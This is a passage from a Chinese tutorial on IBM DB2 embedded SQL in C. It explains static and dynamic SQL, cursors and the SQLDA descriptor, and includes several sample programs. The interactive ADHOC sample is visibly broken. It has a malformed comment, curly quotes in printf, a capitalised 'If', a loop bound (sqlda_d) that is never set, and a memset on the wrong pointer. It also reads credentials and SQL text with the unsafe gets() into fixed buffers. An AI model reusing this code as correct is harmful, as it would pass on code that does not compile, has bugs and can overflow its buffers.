<P>#line 34 "demodb2.sqc"<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else {<BR>printf ("\nUSAGE: static [userid passwd]\n\n");<BR>return 1;<BR>} /* endif */<BR>/*<BR>EXEC SQL SELECT FIRSTNME INTO :firstname <BR>FROM employee<BR>WHERE LASTNAME = 'JOHNSON';<BR>*/<BR>{<BR>#line 44 "demodb2.sqc"<BR>sqlastrt(sqla_program_id, &amp;sqla_rtinfo, &amp;sqlca);<BR>#line 44 "demodb2.sqc"<BR>sqlaaloc(3,1,3,0L);<BR>{<BR>struct sqla_setd_list sql_setdlist[1];<BR>#line 44 "demodb2.sqc"<BR>sql_setdlist[0].sqltype = 460; sql_setdlist[0].sqllen = 13;<BR>#line 44 "demodb2.sqc"<BR>sql_setdlist[0].sqldata = (void*)firstname;<BR>#line 44 "demodb2.sqc"<BR>sql_setdlist[0].sqlind = 0L;<BR>#line 44 "demodb2.sqc"<BR>sqlasetd(3,0,1,sql_setdlist,0L);<BR>}<BR>#line 44 "demodb2.sqc"<BR>sqlacall((unsigned short)24,1,0,3,0L);<BR>#line 44 "demodb2.sqc"<BR>sqlastop(0L);<BR>} 
<P>#line 44 "demodb2.sqc" 
<P>CHECKERR ("SELECT statement"); <BR>printf( "First name = %s\n", firstname );<BR><BR>/*<BR>EXEC SQL CONNECT RESET;<BR>*/<BR>{<BR>#line 47 "demodb2.sqc"<BR>sqlastrt(sqla_program_id, &amp;sqla_rtinfo, &amp;sqlca);<BR>#line 47 "demodb2.sqc"<BR>sqlacall((unsigned short)29,3,0,0,0L);<BR>#line 47 "demodb2.sqc"<BR>sqlastop(0L);<BR>}<BR>#line 47 "demodb2.sqc"<BR>CHECKERR ("CONNECT RESET");<BR>return 0;<BR>}<BR>/* end of program : STATIC.SQC */ 
<P><BR>生成的BIND文件为demodb2.bnd。<BR>3.4 DB2的动态SQL嵌入语句<BR>所谓静态SQL的编程方法，就是指在预编译时SQL语句已经基本确定，即访问的表或视图名、访问的列等信息已经确定。但是，有时整个SQL语句要到执行的时候才能确定下来，而且SQL语句所访问的对象也要到执行时才能确定。这就需要通过动态SQL语句完成。<BR>3.4.1 基本方法<BR>执行动态SQL语句的程序，主要有三条语句来完成：<BR>1）、PREPARE语句。由于动态SQL语句在执行时才能确定，所以DB2中使用一个字符型的宿主变量来存放相应的SQL语句。但是，这条语句在预编译时不存在，因而在预编译时无法编译这个SQL语句。但是，存放在宿主变量中的语句必须转化为可执行的格式后才能执行。PREPARE命令的作用是完成编译的工作。即相当于静态SQL中的BIND操作，在数据库管理器中生成PACKAGE，并给出一个语句的名字。在后面的DESCRIBE、EXECUTE和OPEN等命令都使用这个名字来访问相应的SQL语句。SQL语句在做PREPARE操作时，不可使用宿主变量来表示参数，但可以在相应的位置上使用“？”来表示该位置上应该有一个参数。PREPARE还将生成相应的SQLDA结构。<BR>2）、EXECUTE语句。该语句的作用是执行已经做过PREPARE操作的SQL语句。在EXECUTE语句中，将针对PREPARE语句中的每个参数标志给出相应的参数值，这些参数值可以有宿主变量传递，他们的类型应该匹配。EXECUTE命令不能做SELECT操作，这是因为EXECUTE语句无法返回结果，要执行SELECT操作，应该通过游标完成。<BR>EXECUTE IMMEDIATE语句是PERPARE语句和EXECUTE语句的综合，它对语句做PREPARE，生成可执行模式，在执行。<BR>3）、DESCRIBE语句。将执行过的PREPARE的SQL语句结果信息存放在SQLDA结构。<BR>例、查询表名不是STAFF的表信息。<BR>#include &lt;stdio.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include &lt;string.h&gt;<BR>#include "util.h"<BR>EXEC SQL INCLUDE SQLCA;<BR>#define CHECKERR(CE_STR) if (check_error (CE_STR, &amp;sqlca) != 0) return 1;<BR>int main(int argc, char *argv[]) {<BR>EXEC SQL BEGIN DECLARE SECTION;<BR>char table_name[19];<BR>/*st[80]宿主变量存放SQL语句*/<BR>char st[80]; <BR>char parm_var[19];<BR>char userid[9];<BR>char passwd[19];<BR>EXEC SQL END DECLARE SECTION;<BR>printf( "Sample C program: DYNAMIC\n" );<BR>if (argc == 1) {<BR>EXEC SQL CONNECT TO sample;<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else if (argc == 3) { <BR>strcpy (userid, argv[1]);<BR>strcpy (passwd, argv[2]);<BR>EXEC SQL CONNECT TO sample USER :userid USING :passwd;<BR>CHECKERR ("CONNECT TO SAMPLE");<BR>}<BR>else {<BR>printf ("\nUSAGE: dynamic [userid passwd]\n\n");<BR>return 1;<BR>} /* endif */<BR>strcpy( st, "SELECT tabname FROM syscat.tables" );<BR>strcat( st, " WHERE tabname &lt;&gt; ?" );<BR>/*对st做PREPARE操作，st中的“？”表示参数*/<BR>EXEC SQL PREPARE s1 FROM :st; <BR>CHECKERR ("PREPARE");<BR>/*定义游标*/<BR>EXEC SQL DECLARE c1 CURSOR FOR s1; <BR>strcpy( parm_var, "STAFF" );<BR>/*打开游标，并用parm_var代替SELECT语句中的“？”参数*/<BR>EXEC SQL OPEN c1 USING :parm_var; <BR>CHECKERR ("OPEN");<BR>do {<BR>/*用FETCH语句从结果集中取出结果*/<BR>EXEC SQL FETCH c1 INTO :table_name; <BR>if (SQLCODE != 0) break;<BR>printf( "Table = %s\n", table_name );<BR>} while ( 1 );<BR>/*关闭游标*/<BR>EXEC SQL CLOSE c1; <BR>CHECKERR ("CLOSE");<BR>EXEC SQL COMMIT;<BR>CHECKERR ("COMMIT");<BR>EXEC SQL CONNECT RESET;<BR>CHECKERR ("CONNECT RESET");<BR>return 0;<BR>}<BR>/* end of program : DYNAMIC.SQC */<BR>从上面这个例子看出，动态SQL语句同静态SQL语句的不同之处在于，要使用PREPARE语句操作具体的SQL语句，然后使用EXECUTE或者游标等方式执行。<BR>3.4.2 动态游标<BR>1）、动态游标的DECLARE语句<BR>动态游标对应的SQL语句应该是一个用PREPARE操作从文本形式转换趁个可执行形式的语句。在上例子中： EXEC SQL DECLARE c1 CURSOR FOR s1; 其中s1就是PREPARE操作后的可执行语句，c1是游标的名字。<BR>2）、动态游标的OPEN语句<BR>动态OPEN操作的作用是：将宿主变量或SQLDA结构中的值取出，填充到PREPARE操作后的SQL语句中标有“？”的参数的位置，并执行查询。宿主变量或SQLDA结构中的值应该与参数有一一对应的关系，而且数据类型符合。如上例子中：<BR>EXEC SQL OPEN c1 USING :parm_var; <BR>3）、动态游标的FETCH语句<BR>FETCH语句是从结果集中取出一行，将结果送入宿主变量列表或SQLDA结构中。关于SQLDA结构，见下节。如上例子中：<BR>EXEC SQL FETCH c1 INTO :table_name; <BR>3.4.3 SQLDA<BR>SQLDA结构的作用与宿主变量相同，可用于应用程序与数据库之间的数据交换，它适用于：在编写程序时不确定要使用的变量个数和数据类型或不确定输出数据的列数，如：动态输入的SELECT语句，就必须使用SQLDA结构来获得查询的数据。SQLDA用于描述数据的类型、长度、变量的值和数据项的个数。在应用程序中使用SQLDA，必须在程序中定义SQLDA。即加入以下语句：EXEC SQL INCLUDE SQLDA。<BR>1）、SQLDA结构<BR>SQLDA的定义存放在sqlda.h中。具体为：<BR>SQL_STRUCTURE sqlname /* Variable Name */<BR>{<BR>short length; /* Name length [1..30] */<BR>_SQLOLDCHAR data[30]; /* Variable or Column name */<BR>};<BR>SQL_STRUCTURE sqlvar /* Variable Description */<BR>{<BR>short sqltype; /* Variable data type */<BR>short sqllen; /* Variable data length */<BR>_SQLOLDCHAR *SQL_POINTER sqldata; /* Pointer to variable data value */<BR>short *SQL_POINTER sqlind; /* Pointer to Null indicator */<BR>struct sqlname sqlname; /* Variable name */<BR>};<BR>SQL_STRUCTURE sqlda<BR>{<BR>_SQLOLDCHAR sqldaid[8]; /* Eye catcher = 'SQLDA ' */<BR>long sqldabc; /* SQLDA size in bytes=16+44*SQLN */<BR>short sqln; /* Number of SQLVAR elements */<BR>short sqld; /* # of columns or host vars. */<BR>struct sqlvar sqlvar[1]; /* first SQLVAR element */<BR>}; 
<P>下图形象的描述了用SQLDA来存放两列数据。 
<P>SQLDA结构<BR>Sqld=2<BR>sqlvar<BR>…… 
<P><BR><BR>Sqltype=500<BR>Sqllen<BR>sqldata<BR>…..<BR><BR>Sqltype=501<BR>Sqllen<BR>Sqldata<BR>….. 
<P>
<P>图6-4 SQLDA结构示例 
<P>从上面这个定义看出，SQLDA是一种由两个不同部分组成的可变长数据结构。从位于SQLDA开端的sqldaid到sqld为固定部分，用于标志该SQLDA，并规定这一特定的SQLDA的长度。而后是一个或多个sqlvar结构 ，用于标志列数据。当用SQLDA把参数送到执行语句时，每一个参数都是一个sqlvar结构；当用SQLDA返回输出列信息时，每一列都是一个sqlvar结构。具体每个元素的含义为：<BR>lSqldaid。用于输入标志信息，如：“SQLDA”。<BR>lSqldabc。SQLDA数据结果的长度。应该是16+44*SQLN。Sqldaid、sqldabc、sqln和sqld的总长度为16个字节。而sqlvar结构的长度为44个字节。<BR>lSqln。分配的Sqlvar结构的个数。等价于输入参数的个数或输出列的个数。<BR>lSqld。目前使用的sqlvar结构的个数。<BR>lSqltype。代表参数或列的数据类型。它是一个整数数据类型代码。如：500代表smallint。具体每个整数的含义见下表： 
<P>SQL 列类型 SQLTYPE值 SQLTYPE 的字符名 
<P>DATE 384/385 SQL_TYP_DATE / SQL_TYP_NDATE <BR>TIME 388/389 SQL_TYP_TIME / SQL_TYP_NTIME <BR>TIMESTAMP 392/393 SQL_TYP_STAMP / SQL_TYP_NSTAMP <BR>n/a2 400/401 SQL_TYP_CGSTR / SQL_TYP_NCGSTR <BR>BLOB 404/405 SQL_TYP_BLOB / SQL_TYP_NBLOB <BR>CLOB 408/409 SQL_TYP_CLOB / SQL_TYP_NCLOB <BR>DBCLOB 412/413 SQL_TYP_DBCLOB / SQL_TYP_NDBCLOB <BR>VARCHAR 448/449 SQL_TYP_VARCHAR / SQL_TYP_NVARCHAR <BR>CHAR 452/453 SQL_TYP_CHAR / SQL_TYP_NCHAR <BR>LONG VARCHAR 456/457 SQL_TYP_LONG / SQL_TYP_NLONG <BR>n/a3 460/461 SQL_TYP_CSTR / SQL_TYP_NCSTR <BR>VARGRAPHIC 464/465 SQL_TYP_VARGRAPH / SQL_TYP_NVARGRAPH <BR>GRAPHIC 468/469 SQL_TYP_GRAPHIC / SQL_TYP_NGRAPHIC <BR>LONG VARGRAPHIC 472/473 SQL_TYP_LONGRAPH / SQL_TYP_NLONGRAPH <BR>FLOAT 480/481 SQL_TYP_FLOAT / SQL_TYP_NFLOAT <BR>REAL4 480/481 SQL_TYP_FLOAT / SQL_TYP_NFLOAT <BR>DECIMAL5 484/485 SQL_TYP_DECIMAL / SQL_TYP_DECIMAL <BR>INTEGER 496/497 SQL_TYP_INTEGER / SQL_TYP_NINTEGER <BR>SMALLINT 500/501 SQL_TYP_SMALL / SQL_TYP_NSMALL <BR>n/a 804/805 SQL_TYP_BLOB_FILE / SQL_TYPE_NBLOB_FILE <BR>n/a 808/809 SQL_TYP_CLOB_FILE / SQL_TYPE_NCLOB_FILE <BR>n/a 812/813 SQL_TYP_DBCLOB_FILE / SQL_TYPE_NDBCLOB_FILE <BR>n/a 960/961 SQL_TYP_BLOB_LOCATOR / SQL_TYP_NBLOB_LOCATOR <BR>n/a 964/965 SQL_TYP_CLOB_LOCATOR / SQL_TYP_NCLOB_LOCATOR <BR>n/a 968/969 SQL_TYP_DBCLOB_LOCATOR / SQL_TYP_NDBCLOB_LOCATOR 
<P>我们知道，SQLDA的作用是应用程序与数据库之间交换数据。对于从数据库向应用程序输出数据，则SQLDA存放了每列的信息，如：数据类型、长度和值。输出数据要同FETCH语句结合；对于从应用程序向数据库输入数据，则要同OPEN或EXECUTE操作结合。请看下面这个ADHOC例子，来理解SQLDA的作用。这个例子很经典，它的功能是处理任意输入的SQL语句，并返回结果。<BR>#include &lt;stdio.h&gt;<BR>#include &lt;stdlib.h&gt;<BR>#include &lt;string.h&gt;<BR>#include &lt;sqlenv.h&gt;<BR>#include &lt;sqlcodes.h&gt;<BR>/*包含SQLDA结构的定义*/<BR>#include &lt;sqlda.h&gt; <BR>#include "util.h"<BR>/*包含SQLCA结构的定义*/<BR>EXEC SQL INCLUDE SQLCA; <BR>/* 'check_error' is a function found in the util.c program */<BR>#define CHECKERR(CE_STR) check_error (CE_STR, &amp;sqlca)<BR>#define SQLSTATE sqlca.sqlstate<BR>/*初试化SQLDA*/<BR>int init_da (SQLDA **DAPointer, int DAsqln);<BR>/*为存放列数据的sd_column结构申请空间*/<BR>int alloc_host_vars (SQLDA *sqldaPointer);<BR>/*释放SQLDA所申请的空间*/<BR>void free_da (SQLDA *sqldaPointer);<BR>/*获取列名信息*/<BR>char * readColName (SQLDA *sqldaPointer, short sd_columnIndex, char * buffer);<BR>/*获取列数据*/<BR>char * readCol (SQLDA *sqldaPointer, short sd_columnIndex, char * buffer);<BR>/*处理SQL语句*/<BR>int process_statement (char[1000]);<BR>#define MAX_COLUMNS 255<BR>int main(void) {<BR>int rc;<BR>char sqlInput[255];<BR>char st[1000]="";<BR>char Transaction;<BR>char tmpstr[1024];<BR>/*定义宿主变量*/<BR>EXEC SQL BEGIN DECLARE SECTION; (3)<BR>char server[9];<BR>char userid[9];<BR>char passwd[19];<BR>EXEC SQL END DECLARE SECTION;<BR>printf("Sample C program : ADHOC interactive SQL\n");<BR>/* 初试化与数据库的连接 */<BR>do {<BR>printf("input the server (database) which you wish to attach to : \n");<BR>gets (sqlInput);<BR>strcpy(server,sqlInput);<BR>printf("input your userid : \n");<BR>gets (sqlInput);<BR>strcpy (userid, sqlInput);<BR>printf("input your passwd : \n");<BR>gets (sqlInput);<BR>strcpy (passwd, sqlInput);<BR>printf("CONNECTING TO %s\n",server);<BR>/*连接数据库*/<BR>EXEC SQL CONNECT TO :server USER :userid USING :passwd;<BR>/*检查连接是否成功*/<BR>CHECKERR("CONNECT TO DATABASE"); <BR>} while (SQLCODE != 0); /* enddo */<BR>printf("CONNECTED TO %s\n",server);<BR>/* Enter the continuous command line loop. */<BR>while ( 1 ) { <BR>/*提示用户输入要操作的SQL语句*/<BR>printf ("Enter an SQL statement or 'quit' to Quit :\n");<BR>gets (sqlInput);<BR>if (strcmp(sqlInput, "quit") == 0) {<BR>break;<BR>} else if (strlen(sqlInput) == 0) {<BR>/* Don't process the statement */<BR>printf ("\tNo characters entered.\n");<BR>} else if (sqlInput[strlen(sqlInput) - 1] == '\\') {<BR>/* 查看是否有续行 */<BR>strcpy (st, "\0");<BR>do {<BR>strncat (st, sqlInput, strlen(sqlInput) -1);<BR>gets (sqlInput);<BR>} while (sqlInput[strlen(sqlInput) - 1] == '\\');<BR>strcat (st, sqlInput);<BR>/* 处理SQL语句 */<BR>rc = process_statement (st);<BR>} else {<BR>strcpy (st, sqlInput);<BR>/* 处理输入的SQL语句*/<BR>rc = process_statement (st);<BR>} /* end if */<BR>} /* end while */<BR>printf ("Enter 'c' to COMMIT or Any Other key to ROLLBACK the transaction :\n");<BR>Transaction = getc(stdin);<BR>if (Transaction == 'c') {<BR>printf("COMMITING the transactions.\n");<BR>/提交结果*/<BR>EXEC SQL COMMIT; <BR>CHECKERR ("COMMIT");<BR>} else {<BR>/* 撤消语句的执行结果*/<BR>printf("ROLLING BACK the transactions.\n");<BR>EXEC SQL ROLLBACK; <BR>CHECKERR ("ROLLBACK");<BR>}; /* endif */<BR>/*断开数据库的连接*/<BR>EXEC SQL CONNECT RESET; <BR>CHECKERR ("CONNECT RESET");<BR>return 0;<BR>}<BR>/************************************************************************<BR>* 函数 : process_statement<BR>* This function processes the inputted statement and then prepares the<BR>* procedural SQL implementation to take place.<BR>*************************************************************************/<BR>int process_statement (char sqlInput[1000]) {<BR>int counter = 0;<BR>struct sqlda *sqldaPointer;<BR>short sqlda_d ; /* Total columns */<BR>short idx;<BR>char buffer[4096];<BR>char varname[1024];<BR>char colnamelist[4096];<BR>/*声明一个宿主变量，用于存放SQL语句*/<BR>EXEC SQL BEGIN DECLARE SECTION; <BR>char st[1000];<BR>EXEC SQL END DECLARE SECTION;<BR>/*向宿主变量中存放SQL语句*/<BR>strcpy(st, sqlInput); <BR>/* 分配SQLDA空间，以存放查询结果 */<BR>init_da (&amp;sqldaPointer, 1); <BR>EXEC SQL PREPARE statement1 from :st;<BR>if (CHECKERR ("PREPARE") != 0) return SQLCODE;<BR>/*获得返回结果的描述信息，填入SQLDA结构*/<BR>EXEC SQL DESCRIBE statement1 INTO :*sqldaPointer;<BR>/* 判断DESCRIBE是否正确执行*/<BR>if (SQLCODE != 0 &amp;&amp; <BR>SQLCODE != SQL_RC_W236 &amp;&amp;<BR>SQLCODE != SQL_RC_W237 &amp;&amp;<BR>SQLCODE != SQL_RC_W238 &amp;&amp;<BR>SQLCODE != SQL_RC_W239) {<BR>/* An unexpected warning/error has occured. Check the SQLCA. */<BR>if (CHECKERR ("DESCRIBE") != 0) return SQLCODE;<BR>} /* end if */<BR>/*如果SQLDA结构中的sqld大于0，则表明是一个SELECT语句，sqld值是列的个数*/<BR>if (sqldaPointer-&gt;sqld &gt; 0) { <BR>/*判断是否有LOB列，若是，则需要双倍的SQLDA空间*/<BR>if (strncmp(SQLSTATE, "01005", sizeof(SQLSTATE)) == 0) {<BR>/* this output contains columns that need a DOUBLED SQLDA */<BR>SETSQLDOUBLED (sqldaPointer, SQLDOUBLED);<BR>init_da (&amp;sqldaPointer, sqldaPointer-&gt;sqld * 2);<BR>} else {<BR>/*否则，只需要一个SQLDA */<BR>init_da (&amp;sqldaPointer, sqldaPointer-&gt;sqld);<BR>} /* end if */<BR>/* 对SQLDA 重新赋值*/<BR>EXEC SQL DESCRIBE statement1 INTO :*sqldaPointer;<BR>if (CHECKERR ("DESCRIBE") != 0) return SQLCODE;<BR>/* 给SQLDA分配合适的内存空间*/<BR>alloc_host_vars (sqldaPointer); <BR>/* 声明游标*/<BR>EXEC SQL DECLARE pcurs CURSOR FOR statement1; <BR>/*打开游标*/<BR>EXEC SQL OPEN pcurs; <BR>if (CHECKERR ("OPEN") != 0) return SQLCODE;<BR>/*查询一行，存放在SQLDA中*/<BR>EXEC SQL FETCH pcurs USING DESCRIPTOR :*sqldaPointer; <BR>if (CHECKERR ("FETCH") != 0) return SQLCODE;<BR>/* 从SQLDA中获得列标题信息，并显示之*/<BR>colnamelist[0] = 0;<BR>for ( idx=0; idx&lt; sqlda_d; idx++)<BR>{ <BR>strcat(colnamelist, readColName(sqldaPointer, idx, buffer));<BR>If (idx &lt; sqlda_d -1)<BR>strcat(colnamelist, ",");<BR>}<BR>printf(“%s\n”,colnamelist);<BR>/*显示所有的行数据*/<BR>while ( SQLCODE == 0 ) {<BR>counter++ ;<BR>for ( idx=0; idx&lt; sqlda_d; idx++) <BR>printf(“%s”,readCol(sqldaPointer, idx, buffer));<BR>EXEC SQL FETCH pcurs USING DESCRIPTOR :*sqldaPointer ;<BR>} /* endwhile */<BR>/*关闭游标*/<BR>EXEC SQL CLOSE pcurs; <BR>if (CHECKERR ("CLOSE CURSOR") != 0) return SQLCODE;<BR>printf ("\n %d record(s) selected\n\n", counter);<BR>/* 释放SQLDA申请的空间 */<BR>free_da(sqldaPointer);<BR>} else { /*不是SELECT语句，则执行SQL语句 */ <BR>EXEC SQL EXECUTE statement1;<BR>if (CHECKERR ("executing the SQL statement") != 0) return SQLCODE;<BR>} /* end if */<BR>return SQLCODE;<BR>}<BR>/* end of program : ADHOC.SQC */<BR>/**************************************************************************<BR>* PROCEDURE : init_da<BR>*为SQLDA分配空间。其中SQLDASIZE的作用，是计算SQLDA的大小。返回-1，<BR>*表示无法分配空间。<BR>**************************************************************************/<BR>int init_da (struct sqlda **DAPointer, int DAsqln) {<BR>int idx;<BR>*DAPointer = (struct sqlda *) malloc (SQLDASIZE(DAsqln));<BR>if (*DAPointer == NULL) <BR>return (-1);<BR>memset (*DAPointer, '\0', SQLDASIZE(DAsqln));<BR>strncpy((*DAPointer)-&gt;sqldaid, "SQLDA ", sizeof ((*DAPointer)-&gt;sqldaid));<BR>(*DAPointer)-&gt;sqldabc = (long)SQLDASIZE(DAsqln);<BR>(*DAPointer)-&gt;sqln = DAsqln;<BR>(*DAPointer)-&gt;sqld = 0;<BR>return 0;<BR>}<BR>/**********************************************************************<BR>* FUNCTION : alloc_host_vars<BR>*为sqlvar结构申请空间。返回-1表示申请失败。<BR>***********************************************************************/<BR>int alloc_host_vars (struct sqlda *sqldaPointer) {<BR>short idx;<BR>unsigned int memsize =0;<BR>long longmemsize =0;<BR>int precision =0; 
<P>for (idx = 0; idx &lt; sqldaPointer-&gt;sqld; idx++) {<BR>switch (sqldaPointer-&gt;sqlvar[idx].sqltype ) {<BR>case SQL_TYP_VARCHAR:<BR>case SQL_TYP_NVARCHAR:<BR>case SQL_TYP_LONG:<BR>case SQL_TYP_NLONG:<BR>case SQL_TYP_DATE:<BR>case SQL_TYP_NDATE:<BR>case SQL_TYP_TIME:<BR>case SQL_TYP_NTIME:<BR>case SQL_TYP_STAMP:<BR>case SQL_TYP_NSTAMP:<BR>sqldaPointer-&gt;sqlvar[idx].sqltype = SQL_TYP_NCSTR;<BR>sqldaPointer-&gt;sqlvar[idx].sqldata = (char *SQL_POINTER)<BR>malloc ((sqldaPointer-&gt;sqlvar[idx].sqllen));<BR>memsize = (sqldaPointer-&gt;sqlvar[idx].sqllen);<BR>break;<BR>case SQL_TYP_DECIMAL:<BR>case SQL_TYP_NDECIMAL:<BR>precision = ((char *)&amp;(sqldaPointer-&gt;sqlvar[idx].sqllen))[0];<BR>sqldaPointer-&gt;sqlvar[idx].sqldata = (char *SQL_POINTER)<BR>malloc ((precision + 2) /2);<BR>memsize = (precision +2) /2;<BR>break;<BR>default:<BR>sqldaPointer-&gt;sqlvar[idx].sqldata = (char *SQL_POINTER)<BR>malloc (sqldaPointer-&gt;sqlvar[idx].sqllen);<BR>memsize = sqldaPointer-&gt;sqlvar[idx].sqllen;<BR>break;<BR>} /* endswitch */<BR>if (sqldaPointer-&gt;sqlvar[idx].sqldata == NULL) {<BR>return (-1);<BR>} else {<BR>memset (sqldaPointer-&gt;sqlvar[idx].sqldata,'\0',memsize);<BR>} /* endif */<BR>/*为sqlind申请空间*/<BR>if ( sqldaPointer-&gt;sqlvar[idx].sqltype &amp; 1 ) {<BR>/* Allocate storage for short int */<BR>sqldaPointer-&gt;sqlvar[idx].sqlind = (short *)malloc(sizeof(short));<BR>/* Detect memory allocation error */<BR>if ( sqldaPointer-&gt;sqlvar[idx].sqlind == NULL ) {<BR>return(-1) ;<BR>} else {<BR>/* initialize memory to zero */<BR>memset(sqldaPointer-&gt;sqlvar[idx].sqldata,'\0',sizeof(short));<BR>} /* endif */<BR>} /* endif */<BR>} /* endfor */<BR>return 0;<BR>}<BR>/**************************************************************************<BR>* FUNCTION : free_da<BR>* 释放SQLDA 申请的空间。<BR>**************************************************************************/<BR>void free_da (struct sqlda *sqldaPointer) {<BR>short idx;<BR>for (idx = 0; idx &lt; sqldaPointer-&gt;sqld; idx++) {<BR>free (sqldaPointer-&gt;sqlvar[idx].sqldata);<BR>if (sqldaPointer-&gt;sqlvar[idx].sqltype &amp; 1) {<BR>free (sqldaPointer-&gt;sqlvar[idx].sqlind);<BR>}<BR>} /* endfor */<BR>free (sqldaPointer);<BR>}<BR>/**************************************************************************<BR>* PROCEDURE : readColName<BR>* 返回列名信息<BR>**************************************************************************/<BR>char * readColName (struct sqlda *sqldaPointer, short sqlvarIndex, char * buffer) {<BR>strncpy(buffer, sqldaPointer-&gt;sqlvar[sqlvarIndex].sqlname.data,<BR>sqldaPointer-&gt;sqlvar[sqlvarIndex].sqlname.length);<BR>return buffer;<BR>}<BR>/**************************************************************************<BR>* PROCEDURE : readCol<BR>* 返回一行数据<BR>**************************************************************************/<BR>char * readCol (struct sqlda *sqldaPointer, short sqlvarIndex, char * buffer){<BR>short numBytes;<BR>short idx, ind ; /* Array idx variables */<BR>/* Variables for decoding packed decimal data */<BR>short bottom, point ;<BR>unsigned short top, precision, scale;<BR>char tmpstr[1024];<BR>short pos;<BR>short collen;<BR>char *dataptr;<BR><BR>/* 检查是否为null */<BR>if ( sqldaPointer-&gt;sqlvar[sqlvarIndex].sqltype &amp; 1 &amp;&amp;\<BR>*(sqldaPointer-&gt;sqlvar[sqlvarIndex].sqlind) &lt; 0 ) <BR>{ <BR>buffer[0] = 0;<BR>return buffer;<BR>}<BR>dataptr = (char *) sqldaPointer-&gt;sqlvar[ sqlvarIndex ].sqldata;<BR>collen = sqldaPointer-&gt;sqlvar[ sqlvarIndex ].sqllen;<BR><BR>switch ( sqldaPointer-&gt;sqlvar[ sqlvarIndex ].sqltype ) {<BR>case SQL_TYP_INTEGER: /* long */<BR>case SQL_TYP_NINTEGER: /* long with null indicator */<BR>sprintf(buffer, "%ld", * ( long *) dataptr ) ;<BR>break ;<BR>case SQL_TYP_SMALL: /* short */<BR>case SQL_TYP_NSMALL: /* short with null indicator */<BR>sprintf(buffer, "%d", * ( short *) dataptr ) ;<BR>break ;<BR>case SQL_TYP_DECIMAL: /* decimal */<BR>case SQL_TYP_NDECIMAL: /* decimal with null indicator */<BR>/* Determine the scale and precision */<BR>precision = ((char *)&amp;(collen))[0];<BR>scale = ((char *)&amp;(collen))[1]; 
<P>/*************************************************************************<BR>*计算精度<BR>*************************************************************************/<BR>if ((precision %2) == 0) precision += 1; 
<P>/* Calculate the total number of bytes */<BR>idx = ( short ) ( precision + 2 ) / 2 ;<BR>point = precision - scale ; 
<P>pos = 0;<BR>/* Determine the sign */<BR>bottom = *(dataptr + idx -1) &amp; 0x000F ; /* sign */<BR>if ( (bottom == 0x000D) || (bottom == 0x000B) ) {<BR>buffer[pos++]='-';<BR>} <BR>/* Decode and print the decimal number */<BR>for (pos=0, ind=0; ind &lt; idx; ind++) {<BR>top = *(dataptr + ind) &amp; 0x00F0 ;<BR>top = (top &gt;&gt; 4 ) ;<BR>bottom = *(dataptr + ind) &amp; 0x000F ;<BR>if ( point-- == 0 ) buffer[pos++]='.' ;<BR>buffer[pos++]='0' + top ;<BR>/*************************************************************************/<BR>/*忽略最后一位（符号位） */<BR>/*************************************************************************/<BR>if ( ind &lt; idx - 1 ) { /* sign half byte ? */<BR>if ( point-- == 0 ) buffer[pos++] = '.';<BR>buffer[pos++] = '0'+ bottom;<BR>}<BR>}<BR>buffer[pos] = 0;<BR>break ;<BR>case SQL_TYP_FLOAT: /* double */<BR>case SQL_TYP_NFLOAT: /* double with null indicator */<BR>sprintf(buffer, "%e", * (double *) dataptr) ;<BR>break ;<BR>case SQL_TYP_CHAR: /* fixed length character string */<BR>case SQL_TYP_NCHAR: /* fixed length character string with null<BR>indicator */<BR>strncpy(buffer, dataptr, collen);<BR>buffer[collen] = 0;<BR>collen--;<BR>while ((collen &gt;=0) &amp;&amp; (buffer[collen] == ' '))<BR>buffer[collen--] = 0;<BR>break;<BR>case SQL_TYP_LSTR: /* varying length character string, 1-byte length */<BR>case SQL_TYP_NLSTR: /* varying length character string, 1-byte length,<BR>with null indicator */ 
<P>/* Initialize blen to the value the length field in the varchar data structure. */<BR>collen = *dataptr;<BR>/* Advance the data pointer beyond the length field */<BR>dataptr+=sizeof(char);<BR>strncpy(buffer, dataptr, collen);<BR>buffer[collen] = 0;<BR>break ;<BR>case SQL_TYP_CSTR: /* null terminated varying length character string */<BR>case SQL_TYP_NCSTR: /* null terminate varying length character<BR>string with null indicator */<BR>strcpy(buffer, dataptr);<BR>break ;<BR>default:<BR>buffer[0] = 0;<BR>} 
<P>return buffer;<BR>}<BR>/* COMMENT OUT OFF */<BR></P>]]></description>
</item>
</channel>
</rss>